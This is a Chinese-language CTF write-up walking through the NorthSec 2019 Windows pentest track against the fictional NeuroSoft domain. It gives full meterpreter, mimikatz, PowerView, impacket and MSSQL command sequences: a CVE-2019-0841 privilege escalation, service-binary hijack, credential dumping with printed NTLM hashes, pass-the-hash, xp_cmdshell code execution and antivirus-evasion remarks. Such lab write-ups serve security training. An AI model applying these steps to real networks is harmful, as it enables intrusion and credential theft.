NorthSec 2019- Windows渗透挑战解题实录

Kiven  1777天前

这几年,我以及我的朋友StéphaneSigmen和MartinDubé一同参与了Hackfest.ca的CTF大赛,这是一个高水准的现场CTF活动,比赛从2009年11月开始每年都会举办,参赛地点位于魁北克市。CTF大赛每年都为我们提供了提升自己的机会,并且我们确实做到了。2018年,Hackfest.ca邀请我们加入NorthSec 2019- Windows Pentest Track比赛项目,作为项目的设计师来设计整个比赛环境。于是,我们决定暂时退出令人期待的CTF赛场,而专注于设计这个比赛项目。我们加入Windows Pentest Track这个项目的时候,了解到将有8个团队参加比赛,每个团队75人,总共600人参与,我们决定抓住这次机会,展现一下自己的技术实力。

今年的主题是围绕一家名为NeuroSoft的公司(虚拟出来的公司),该公司由著名的神经科学家Neil Williamson创立,他在对人类大脑的研究方面取得了令人难以置信的突破。 然而,由于发生了一系列事件,导致公司最终被政府取消。这些事件源自于企业内部网络的不安全:包括总部与之前收购的几个分支研究机构。

为了构建出逼真的比赛环境,我们从2019年1月开始,整理了所有我们能想到的关于Windows的攻击手段。例如,我们希望通过弱口令问题找到一些思路,因为我们认为这是业界的一个大问题。我们还希望利用最新的Windows漏洞挖掘技术,虽然这些技术并不是很好理解。 最后,我们汇集了所有想法,并设计了整体测试流程。 以下是这个项目的最新版本。

1.png

比赛项目难度等级为“高级”

整体项目构建在1台LXD容器中,包括roundcube系统、postfix系统、dovecot stack系统以及5台windows客户端,其中包括1台windows10 Pro操作系统和4台windows2016 core操作系统。此外,邮件系统也运行在一个LXD容器中。357个虚拟机运行在5个高级的专用服务器上,并租用了一个月的时间。所有服务器都配置了64核cpu,256G内存以及两块2TB磁盘。虚拟机通过 libvirt和ZFS zvol进行管理和保存过程数据。(写这么多硬件配置,这是在炫耀家里开矿吗???:))

言归正传,我们开始解题了!

获取dev.neurosoft.ctf上的初始访问权限

2.png

在CTF开始时,初始信息将显示在页面上。

页面显示了具体的信息

信息内容包括以下两项内容:

3.png

电子邮箱爆破

第一个目标非常简单:尝试在网络邮件上进行密码爆破。然而,这里还是需要一些技巧的。需要在登录表单中构建一个CSRF令牌,因此需要编写脚本处理一下。 可以使用Burp Intruder并通过配置在每次登录尝试之前执行GET请求的脚本来解决这一挑战。 python脚本也可以成功的。

只有一个邮箱可以登录:Jerry的邮箱。

攻破Jerry的邮箱

登录到Jerry的邮箱,可以看到三封电子邮件。

第一封电子邮件是“收件箱清理”通知,显示所有电子邮件收件箱已被清除。玩家还不知道,Neurosoft被政府查封了,他们几乎删除了所有的邮件。 实际上,他们删除了收件箱,但没有删除已发送邮件和用户的个人文件夹。实在是糟糕啊!

第二封电子邮件是“Simplified QA process”(自动回复)。 Brandon实际上是一名QA工程师(质量管理工程师),有时他在笔记本电脑上运行并检测Jerry提供的程序。因为他很懒,他写了一个脚本来自动化这个过程。 如果该脚本检测到邮件中包含程序中预设的内容,就会自动下载附件并执行,并且自动回复。当然,这是非常危险的(如图):)

4.png

最后一封电子邮件是“CVE-2019-0841”提示。提示说明此电子邮箱发现了最新的权限提升漏洞。

攻破Brandon的工作站

使用电子邮件“Simplified QA process”,玩家需要编写主题为“Run QA”的电子邮件,并将.exe附加到电子邮件中。然后,如果执行成功,机器人将运行程序并回复。 例如,如果玩家发送了一个powershell脚本,它会回复该格式是错误的。这一步对于后续渗透过程是至关重要的。

这里没有发现防火墙规则,也没有相应的防病毒手段等措施,任何人都可以方便的操作。

后续部分将使用msfvenom和metasploit来演示漏洞利用过程。 payload生成在“payload”部分中描述。

以下是通过邮件给Brandon的工作站发送payload后,通过sessions命令连接他工作站的效果

msf5 auxiliary(server/socks4a) > sessions -lx
Active sessions
Id Name Type Checkin? Enc? Local URI Information Connection
1 meterpreter x64/windows 29s ago Y ? DEV\brandon @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49707 (9000:470:beef::12)

设置 DPAPI

请参考:https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/.

玩家可以在brandon的用户凭证库中找到一个标志。

meterpreter > load kiwi
meterpreter > kiwi_cmd vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
Name : Web Credentials
Path : C:\Users\brandon\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
Name : Windows Credentials
Path : C:\Users\brandon\AppData\Local\Microsoft\Vault
Items (0)

kiwi_cmd "\"vault::cred /in:C:\Users\brandon\AppData\Local\Microsoft\Vault\""

TargetName : flag / <NULL>
UserName : flag
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : FLAG-KrKT4Kw99AmcNr7xzsM84RhYzxVv9hFr
Attributes : 0

TargetName : LegacyGeneric:target=flag / <NULL>
UserName : flag
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : FLAG-KrKT4Kw99AmcNr7xzsM84RhYzxVv9hFr
Attributes : 0

这里需要注意,由于DPAPI的设计,它不会显示它是否为SYSTEM权限运行。

获取Brandon的邮件密码

有一些本地发出的提示邮件。

在工作站上找到bot程序

玩家可以找到一个powershell脚本程序:C:\users\brandon\Documents\NeurosoftBot。在这个脚本里,发现了brandon登录凭证信息,这个凭证可以登录他的邮箱以及一个域账号“brandon.harper”

登录Brandon的邮箱

这里有三封Brandon的邮件。

第一封电子邮件泄露了欢迎信息和默认密码(Welcome1)和网络共享的UNC路径(\\ files.nsresearch.ctf\users_data)。此时,玩家先不需要访问该共享文件夹,但这可以为下一步渗透提供帮助。

第二封电子邮件是密码策略通知,通知员工不要使用公司名称作为密码。

邮件提示:几乎在我们工作的每个部门中都存在这样的安全风险。

第三封电子邮件通知svc.neurosoft.ctf系统(在此阶段仍然未知)配置了无限制访问,这是一个非常危险的功能。

在dev.neurosoft.ctf服务器上提权到SYSTEM权限

发现漏洞

在工作站里,玩家可以在这里找到一个不常见的文件夹C:\Program Files\cortesc。 README.md文件明确指出这是由NeuroSoft开发的一种服务,并且是以SYSTEM身份运行的。

为了进一步获取主机信息,玩家可以运行PowerUp(提权)脚本,它提供了一些信息,但不能保证漏洞真实存在。

meterpreter > load powershell
meterpreter > powershell_import /home/mdube/shr/git/PowerSploit/Privesc/PowerUp.ps1
meterpreter > powershell_shell

PS > Invoke-allchecks

...
[*] Checking for unquoted service paths...

ServiceName : cortesc
Path : C:\Program Files\cortesc\cortesc.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'cortesc' -Path <HijackPath>
CanRestart : True

ServiceName : cortesc
Path : C:\Program Files\cortesc\cortesc.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'cortesc' -Path <HijackPath>
CanRestart : True
...

玩家可以使用sc命令获得有关服务的更多信息

C:\Windows\system32>sc query cortesc
SERVICE_NAME: cortesc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

C:\Windows\system32>sc qc cortesc

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: cortesc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\cortesc\cortesc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : cortesc
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

但是,存在一个问题:当前用户权限无法对该文件进行修改操作。

C:\Windows\system32>icacls "C:\Program Files\cortesc\cortesc.exe"
C:\Program Files\cortesc\cortesc.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

还记得Jerry关于CVE-2019-0841的电子邮件中的提示吗? 玩家需要利用此漏洞才能更改此文件的NTFS权限,并将其替换为其他的二进制文件。

DACL权限提升

下载: https://github.com/rogue-kdc/CVE-2019-0841

使用Visual Studio进行编译.  提示: 选择 Release模式, 而不是Debug。

meterpreter > sessions -i <SHELL>
meterpreter > cd C:\\temp
meterpreter > upload /payloads/vs_build/CVE_2019-0841.exe
meterpreter > shell
C:\temp>.\CVE_2019-0841.exe "C:\Program Files\cortesc\cortesc.exe"

成功利用后,会显示以下消息。

[+] You don't have 'Modify/Write' privileges on this file ...
# Privileged DACL Overwrite EoP
# CVE: CVE-2019-0841
# Exploit Author: Nabeel Ahmed (@rogue_kdc)
# Tested on: Microsoft Windows 10 x32 & x64
# Category: Local
-------------------------------------------------

[+] Checking File privileges of C:\Program Files\cortesc\cortesc.exe
[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...
[!] Killing Microsoft Edge ... DONE
[+] Retrying ...
[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...
[!] Killing Microsoft Edge ... DONE
[+] Retrying ...
[!] Microsoft Edge is running :(
[!] File is in use by NT AUTHORITY\SYSTEM ...
[!] Killing Microsoft Edge ... DONE
[+] Retrying ...
[+] Checking if 'settings.dat' file exists ... YES
[!] Attempting to create a hardlink to target ... DONE
[+] Starting up Microsoft Edge to force reset ...
[!] Killing Microsoft Edge again ...
[+] Checking File privileges again ...
[+] Checking File privileges of C:\Program Files\cortesc\cortesc.exe
[+] You have 'Full Control' over this file!

以system权限反弹一个shell

meterpreter > shell
C:\temp>copy "C:\Program Files\cortesc\cortesc.exe" "C:\temp\cortesc_bkp.exe"
C:\temp>exit
meterpreter > upload /payloads/c2nsec/payload_msf_svc_x86.exe C:\\Program\ Files\\cortesc\\cortesc.exe
meterpreter > execute -f sc -a "start cortesc"

从x86 shell 转换到 x64 shell

玩家需要一个x64 shell用于后续步骤。解决此问题的最简单方法是从x86 SYSTEM shell弹出x64shell。(解释:有些情况需x64的shell才能获取更多权限)

meterpreter > cd C:\\temp
meterpreter > execute -f payload_msf_x64.exe

查看session列表,检查是否反弹了shell

msf5 auxiliary(server/socks4a) > sessions -lx

Active sessions
===============

Id Name Type Checkin? Enc? Local URI Information Connection
-- ---- ---- -------- ---- --------- ----------- ----------
1 meterpreter x64/windows 29s ago Y ? DEV\brandon @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49707 (9000:470:beef::12)
2 meterpreter x86/windows 14s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8080 -> 9000:470:beef::12:49711 (9000:470:beef::12)
3 meterpreter x64/windows 12s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49733 (9000:470:beef::12)

侦查dev.neurosoft.ctf服务器

[ 加分操作 ] 逆向分析 cortesc.exe 程序

使用dotPeek工具,玩家可以反编译程序并获取flag标记“XORed”。该标记位于on stop()函数中。

protected override void on stop()
{
// Update the service state to Stop Pending.
ServiceStatus serviceStatus = new ServiceStatus();
serviceStatus.dwCurrentState = ServiceState.SERVICE_STOP_PENDING;
serviceStatus.dwWaitHint = 100000;
SetServiceStatus(this.ServiceHandle, ref serviceStatus);


String encodedFlag = "DNCE/U4p6i;FQ7C@xhgthuDPPf4hFzGVWAWEO";
String flag = xorIt("\x02", encodedFlag);

eventLog1.WriteEntry(String.Concat("In on stop. ", flag));

// Update the service state to Stopped.
serviceStatus.dwCurrentState = ServiceState.SERVICE_STOPPED;
SetServiceStatus(this.ServiceHandle, ref serviceStatus);
}

这个flag没有任何一个团队提交过。(失落)

获取凭证

有了SYSTEM权限,我们可以大干一场了!让我们祭上神器“mimikatz”!

meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_all

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
Administrator NEUROSOFT f09ac08f9b0b722ed0debcd38bcf2adc 0ae6145b57c3480e17e24e6e172ae14467d2c224 3d42a73fb77bf29b15f06122d07a0192
DEV$ NEUROSOFT b79fdd5a00fdc3440b502721b30d5ca8 dea4ed6f40d7a22d2e0fcdd514e104b983ebbec7
brandon DEV 11cf6f220caafeffcec1804db862167b fc57967d43a25983ac7b93fa9374837080b4f5bc
brandon.harper NEUROSOFT 2d1c1ee59ad905f59f346e5414ef4669 635776916c74bbfdeec2c8718f562543f9b9a4b8 1f40d5412cce6115fa7b5afbe35885b5

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator NEUROSOFT (null)
DEV$ NEUROSOFT (null)
brandon DEV (null)
brandon.harper NEUROSOFT (null)

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator NEUROSOFT.CTF (null)
DEV$ neurosoft.ctf d2 b4 3c 79 1a 65 8c 03 dd fe 98 be 29 44 d2 ae 0e ab d7 88 fa 00 5c b5 a1 c2 98 6d e4 77 51 fd 91 e0 b8 28 a0 40 f2 6c 28 c8 4c a9 aa 44 01 6e 1c 86 34 80 94 82 86 0d 83 6c d5 16 fa 40 a7 9f 1b 5f e8 c3 2f 09 d1 11 82 c3 3e 60 26 ff e4 76 7a 5f 9e 7e 7d c1 5d 19 39 65 07 a9 03 58 01 fc 95 9d a2 a4 86 29 5a 12 41 f2 5d 6a 68 be b7 8d bb 90 a2 36 fe 05 1f 53 44 f7 18 33 14 73 45 c2 b5 66 17 b8 f8 73 c8 7f 5b 99 db c7 ba 73 3b 26 ff bd 70 b5 c0 55 21 92 69 be 5f 88 b5 7e c8 1c 79 7a 9d 58 16 aa 3b ce b4 35 77 87 11 bc c8 29 85 ad a4 c1 ff 63 20 ec c6 b0 c9 40 b9 06 a9 d3 15 6c 87 72 e9 14 07 7b 1c ee 72 d4 d3 ea 53 a1 ba 9b 06 63 aa db a8 f0 1b 15 96 33 f8 b1 65 a7 91 79 59 b2 e1 2b fb 1d 1a 98 af 61 7f bb 14 e7
brandon DEV (null)
brandon.harper NEUROSOFT.CTF (null)
dev$ NEUROSOFT.CTF (null)

brandon.harper的hash值可用执行传递攻击

小插曲:在项目的设计中,预计在sekurlsa :: logonpasswords的输出中只能看到哈希,而不是密码。但是,在准备过程中,我们安装了SQL Management Studio,它在注册表项中添加了一个条目,允许将密码保存在内存中的明文中。因此,brandon和NEUROSOFT\ brandon.harper的凭证在明文中都可见。如果您认为凭据永远不会以明文格式存储在Windows 10上,请注意有许多例外情况。安装Visual Studio时会出现相同的行为。

使用NEUROSOFT\brandon.harper身份进行操作

需要模拟域用户才能查询Active Directory中的对象。以下是一些可以允许冒充的技巧。

# Via metapsloit only (ptt)
## This will NOT work with Windows Defender enabled
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token NEUROSOFT\\brandon.harper
meterpreter > dir \\\\files.nsresearch.ctf\\users_data
meterpreter > execute -f payload_msf_x64.exe -t
meterpreter > rev2self


# Via metapsloit and mimikatz v2.1.1 (ptt)
## This will NOT work with Windows Defender enabled
## Must change many strings and recompile to avoid AV
meterpreter > cd C:\\temp
meterpreter > upload /payloads/mimikatz/mimi_x64.exe
meterpreter > shell
C:\temp>.\mimi_x64.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;f7ec]-2-1-40e10000-brandon.harper@krbtgt-NEUROSOFT.CTF.kirbi
mimikatz # exit
C:\temp> .\payload_msf_x64
C:\temp> dir \\files.nsresearch.ctf\users_data


# Via metapsloit (pth)
## Worked with Windows Defender enabled
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd "\"sekurlsa::pth /user:brandon.harper /domain:neurosoft.ctf /ntlm:2d1c1ee59ad905f59f346e5414ef4669 /run:payload_msf_x64.exe\""
meterpreter > background
msf > sessions -i NEW_SHELL
meterpreter > shell
C:\temp>dir \\files.nsresearch.ctf\users_data

浏览users_data网络共享文件夹

使用具有域用户凭据的shell,玩家可以对它的网络进行扫描侦察。可以先浏览以前在电子邮件中找到的网络共享文件夹:\\files.nsresearch.ctf\users_data。

meterpreter > dir \\\\files.nsresearch.ctf\\users_data
Listing: \\files.nsresearch.ctf\users_data
==========================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2019-03-16 11:57:46 -0400 alfred.lebrun
40777/rwxrwxrwx 0 dir 2019-03-22 19:02:38 -0400 brandon.harper
40777/rwxrwxrwx 0 dir 2019-04-29 23:27:34 -0400 jerry.compass
40777/rwxrwxrwx 0 dir 2019-03-17 22:19:00 -0400 linda.costa
40777/rwxrwxrwx 0 dir 2019-04-29 23:11:46 -0400 neil.williamson
40777/rwxrwxrwx 0 dir 2019-03-22 19:01:03 -0400 stuart.fagan
40777/rwxrwxrwx 0 dir 2019-05-07 23:57:29 -0400 support_tools
40777/rwxrwxrwx 0 dir 2019-03-17 20:43:17 -0400 svcMoonCrackle
40777/rwxrwxrwx 0 dir 2019-03-16 14:33:36 -0400 test.user
40777/rwxrwxrwx 0 dir 2019-03-17 22:13:43 -0400 zim.armstrong

除support_tools之外的所有文件夹都包含一个Flag,这些文件夹只能由关联的域用户访问。每个用户都有一个不同的密码漏洞。相关内容请参考后文说明。

在备用数据流(ADS)中的Flag

使用NEUROSOFT\brandon.harper凭证,玩家可以像这样轻松访问相关的flag.txt文件。

meterpreter > cat \\\\files.nsresearch.ctf\\users_data\\brandon.harper\\flag.txt
Almost there. Try harder.

这其实是一个陷阱信息!真正的信息实际上是在备用数据流中。

meterpreter > load powershell
meterpreter > powershell_shell
PS > cd \\files.nsresearch.ctf\users_data\brandon.harper
PS > dir
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

查看此时的session状态

msf5 auxiliary(server/socks4a) > sessions -lx

Active sessions
===============

Id Name Type Checkin? Enc? Local URI Information Connection
-- ---- ---- -------- ---- --------- ----------- ----------
1 meterpreter x64/windows 29s ago Y ? DEV\brandon @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49707 (9000:470:beef::12)
2 meterpreter x86/windows 14s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8080 -> 9000:470:beef::12:49711 (9000:470:beef::12)
3 meterpreter x64/windows 12s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49733 (9000:470:beef::12)
4 meterpreter x64/windows 32s ago Y ? NEUROSOFT\brandon.harper @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49753 (9000:470:beef::12)

侦查第一个域服务器:dc.neurosoft.ctf

与每次测试评估都是一样的,只要完成了主机侦察并且获取了域帐户权限,下一步就是在域服务器上进行进一步的侦察活动。

metasploit拥有进一步侦察的大多数工具。但是,PowerSploit使用起来要简单得多。以下的一些思路来自Harmj0y的备忘录。

meterpreter > load powershell
meterpreter > powershell_import /home/mdube/shr/git/PowerSploit/Recon/PowerView.ps1

## Computers
Get-DomainComputer
Get-DomainComputer -domain nsresearch.ctf

## Groups
Get-DomainGroup -Properties name,description,whencreated
Get-DomainGroup -Properties name,description,whencreated -domain nsresearch.ctf

## Groups Membership
Get-DomainGroupMember 'Domain Admins'
Get-DomainGroupMember -domain nsresearch.ctf 'Domain Admins'

## Users
Get-DomainUser -Properties sAMAccountName,description
Get-DomainUser -Properties sAMAccountName,description -domain nsresearch.ctf

## Trusts
Get-DomainTrust

## SPNs
Get-DomainUser -SPN

## Delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -AllowDelegation -AdminCount
Get-DomainComputer -domain nsresearch.ctf -Unconstrained
Get-DomainUser -domain nsresearch.ctf -AllowDelegation -AdminCount

攻破 svc.neurosoft.ctf 服务器

要访问svc.neurosoft.ctf服务器,玩家首先需要解密位于C:\Users\brandon.harper\Documents\sqldev目录中的VBE获取凭证,并连接到MSSQL服务器。通过MSSQL控制台,玩家可以启用xp_cmdshell功能,并上传payload来升级到SYSTEM权限。

以下是详细操作步骤。

找到Vbe文件

... [perform recon] ...

C:\Users\brandon.harper>dir Documents\sqldev
dir Documents\sqldev
Volume in drive C has no label.
Volume Serial Number is 843E-DDE5

Directory of C:\Users\brandon.harper\Documents\sqldev

2019-04-14 08:40 PM <DIR> .
2019-04-14 08:40 PM <DIR> ..
2019-03-23 11:37 AM 633 neurodev_sql_chips_check.vbe
1 File(s) 633 bytes
2 Dir(s) 21,332,369,408 bytes free

在 VBE 脚本中找到凭证信息

玩家可以通过运行公开可用的工具来解码VBE,我们也提供了一个工具。

https://community.spiceworks.com/scripts/show/464-script-to-decode-vbe-files

最简单的方法是将解码脚本上传到服务器上,然后执行解码。

meterpreter > upload /home/mdube/shr/git/ctf-2019/challenges/mdube_sigs/DEV_sqldev_vbe/decode_vbe.vbs
meterpreter > shell
C:\temp>cscript decode_vbe.vbs C:\Users\brandon.harper\Documents\sqldev\neurodev_sql_chips_check.vbe

Const adOpenStatic = 3
Const adLockOptimistic = 3

Set objConnection = Createobject("ADODB.Connection")
Set objRecordSet = Createobject("ADODB.Recordset")

objConnection.Open _
"Provider=SQLOLEDB;Data Source=svc.neurosoft.ctf;" & _
"Initial Catalog=neurodevdb;" & _
"User ID=sa;Password=FLAG-wRYreyPLdsYRgiwm9NGsNSyA2Z9uTJ;"

objRecordSet.Open "SELECT * FROM DevChipTargets", _
objConnection, adOpenStatic, adLockOptimistic

objRecordSet.MoveFirst

Wscript.Echo "Number of neurochips deployed: ",objRecordSet.RecordCount,vbCrLf

获取一个system权限shell(方法 #1)

metasploit的mssql_payload模块,一直以来都非常好用。

use windows/mssql/mssql_payload
set SRVHOST ::1
set RHOSTS 9000:470:beef::11
set EXE::Custom /payloads/c2nsec/payload_msf_x64.exe
set DisablePayloadHandler true
set PASSWORD FLAG-wRYreyPLdsYRgiwm9NGsNSyA2Z9uTJ
run

#or

use windows/mssql/mssql_payload
set SRVHOST ::1
set RHOSTS 9000:470:beef::11
set PAYLOAD windows/x64/meterpreter/bind_ipv6_tcp
set PASSWORD FLAG-wRYreyPLdsYRgiwm9NGsNSyA2Z9uTJ
run

玩家可以在C:\flag.txt,这个位置找到flag。

meterpreter > cat C:\\flag.txt

FLAG-uHTDUrDg6ZqoQP5Ii6YDJuhZCCxH6U

Get a SYSTEM shell (方法 #2)

第二个解决方案使用了impacket工具。如果你不知道这个python脚本和类的集合工具,你应该花时间学习一下。(看似这个工具很好用,应该学习一下)

$ mssqlclient.py sa:FLAG-wRYreyPLdsYRgiwm9NGsNSyA2Z9uTJ@svc.neurosoft.ctf

SQL> enable_xp_cmdshell

[*] INFO(SVC): Line 185: Configuration option ‘show advanced options’ changed from 0 to 1. Run the RECONFIGURE statement to install.

[*] INFO(SVC): Line 185: Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL> xp_cmdshell whoami

nt authority\system

玩家可以在C:\flag.txt,这个位置找到flag。

SQL> xp_cmdshell type c:\flag.txt

FLAG-uHTDUrDg6ZqoQP5Ii6YDJuhZCCxH6U

[ 加分操作 ] 找到通过加密列中的Flag

这里有三种方法获得flag

解决方法1(通过CLI命令行简单实现)

此步骤需要从NEUROSOFT\brandon.harper权限执行,因为ImplantPass列的加密密钥存储在他的证书配置单元中。

在sqlcmd工具命令行中加上-g参数,可以使用用户存储中已有的证书激活列解密。

meterpreter > shell
C:\temp>sqlcmd -S svc.neurosoft.ctf -U sa -P FLAG-wRYreyPLdsYRgiwm9NGsNSyA2Z9uTJ -g

sp_databases
GO


DATAbase_NAME
-------------------------------------------------------------------------
model
msdb
neurodevdb
tempdb

select table_name, column_name from neurodevdb.information_schema.columns
GO


table_name column_name
-------------------------------------------------------------------------
DevChipTargets ChipVesion
DevChipTargets ImplantPass
DevChipTargets Name

(3 rows affected)

USE neurodevdb
select * from DevChipTargets
GO


Changed database context to 'neurodevdb'.
Name ChipVesion ImplantPass
-------------------------------------------------- ---------- --------------------------------------------------
Serenity Cunningham 1.0 31xKOjmqrGhF5plExKwB
Usaamah Barron 0.9 YJmi6v9qH5rFiioZW5oh
Oriana Sheldon 1.0 31xKOjmqrGhF5plExKwB
Juliet Regan 1.1 gvSzEbzwy3665PlMgJkz
Manahil Butt 1.0 31xKOjmqrGhF5plExKwB
Charly Farrow 2.0 DMB6sYhEWd7SvzcKZqhv
Andreas Welsh 1.1 gvSzEbzwy3665PlMgJkz
Daanyal Obrien 1.1 gvSzEbzwy3665PlMgJkz
Campbell Barber 1.0 31xKOjmqrGhF5plExKwB
Kaan Prince 0.9 YJmi6v9qH5rFiioZW5oh
Renesmee Cardenas 1.0 31xKOjmqrGhF5plExKwB
Caelan Mullen 0.9 YJmi6v9qH5rFiioZW5oh
Zacharias Wilkerson 0.9 YJmi6v9qH5rFiioZW5oh
Esmay Eastwood 1.1 gvSzEbzwy3665PlMgJkz
Roberta Cotton 1.1 gvSzEbzwy3665PlMgJkz
Piper Burrows 1.0 31xKOjmqrGhF5plExKwB
Deborah Cordova 2.0 FLAG-wVLX58txoVDIFacSsi7XBcS5lxPrQwL
Neil Worthington 0.9 YJmi6v9qH5rFiioZW5oh
Vivek Forrest 1.0 31xKOjmqrGhF5plExKwB
Finnian Mellor 1.1 gvSzEbzwy3665PlMgJkz

解决方法2(通过GUI界面简单实现)

此步骤需要通过NEUROSOFT\brandon.harper权限操作,因为ImplantPass列的加密密钥存储在他的证书配置单元中。玩家可以使用RDP并安装SQL Management Studio来获取flag。

玩家需要在计算机上使用导入的证书打开SQL Management Studio,并在高级选项中添加以下行。

column encryption setting=enabled

然后,通过浏览neurodevdb数据库中的devchiptarget表,该flag位于Deborah Cordova条目中。

解决方法3(比较难)

加载mimikatz模块并导出当前用户证书。

meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.

meterpreter > kiwi_cmd crypto::stores
Asking for System Store 'CURRENT_USER' (0x00010000)
0. My
1. Root
2. Trust
3. CA
4. UserDS
5. TrustedPublisher
6. Disallowed
7. AuthRoot
8. TrustedPeople
9. ClientAuthIssuer
10. REQUEST
11. SmartCardRoot

meterpreter > kiwi_cmd crypto::certificates
* System Store : 'CURRENT_USER' (0x00010000)
* Store : 'My'

0. Always Encrypted Auto Certificate1
Key Container : 7f0090a8926c247f1e72626509d63e54_c77f5831-6d76-4661-b780-6dc87636cf03
Provider : Microsoft RSA SChannel Cryptographic Provider
Provider type : RSA_SCHANNEL (12)
Type : AT_KEYEXCHANGE (0x00000001)
Exportable key : YES
Key size : 2048

meterpreter > kiwi_cmd "\"crypto::certificates /store:my /export"\"
* System Store : 'CURRENT_USER' (0x00010000)
* Store : 'my'

0. Always Encrypted Auto Certificate1
Key Container : 7f0090a8926c247f1e72626509d63e54_c77f5831-6d76-4661-b780-6dc87636cf03
Provider : Microsoft RSA SChannel Cryptographic Provider
Provider type : RSA_SCHANNEL (12)
Type : AT_KEYEXCHANGE (0x00000001)
Exportable key : YES
Key size : 2048

====================
base64 of file : CURRENT_USER_my_0_Always Encrypted Auto Certificate1.der
====================
MIIDNjCCAh6gAwIBAgIQTtNNsGFnPaBCVegNyFeuUTANBgkqhkiG9w0BAQsFADAt
MSswKQYDVQQDDCJBbHdheXMgRW5jcnlwdGVkIEF1dG8gQ2VydGlmaWNhdGUxMB4X
DTE5MDQxNzIxMzMyMFoXDTIwMDQxNzIxMzMyMFowLTErMCkGA1UEAwwiQWx3YXlz
IEVuY3J5cHRlZCBBdXRvIENlcnRpZmljYXRlMTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBANHIrKwuUk+ZL24068RsxGkFhSbxUqgYKlvR0pDyUN5f4gUZ
pbkLvyB2ltep9buWcJgDOSVmx5KXq8+9AMG4WtZ1tkV0CYVCcaK61Ub6W9nXQa59
VvIXq785GLm8gjXPv4SpV4FveqUbLItkz7xqf2y2h8faP0Fl21/srM/XsLAkgtyQ
E2ZILGATWHNlXgjoeljAI/exTFyxhGFEeudorQpSD+f3dQgEe+kBugkuNxo7czIr
Ji43khnpuchQK7z5ctsloFpB7rF/UXjEG4mlqO4AxjV3/cBCruDnRIVSLEN+0Wfc
NrBTzVM7SWwhSPDK0vU5XLqKxBAy+NEmSQM9uU0CAwEAAaNSMFAwHwYDVR0lBBgw
FgYIKwYBBQUIAgIGCisGAQQBgjcKAwswHQYDVR0OBBYEFI7p3Du6iXp8KbAm63h1
vrvbiT6lMA4GA1UdDwEB/wQEAwIFIDANBgkqhkiG9w0BAQsFAAOCAQEAKqaE9HhR
4SJgIoiFoyQSSxHr/TXAuVJQJH9HlkP/fJfcMbqzwxh3qSuEBPvw6etfmSgR2n3l
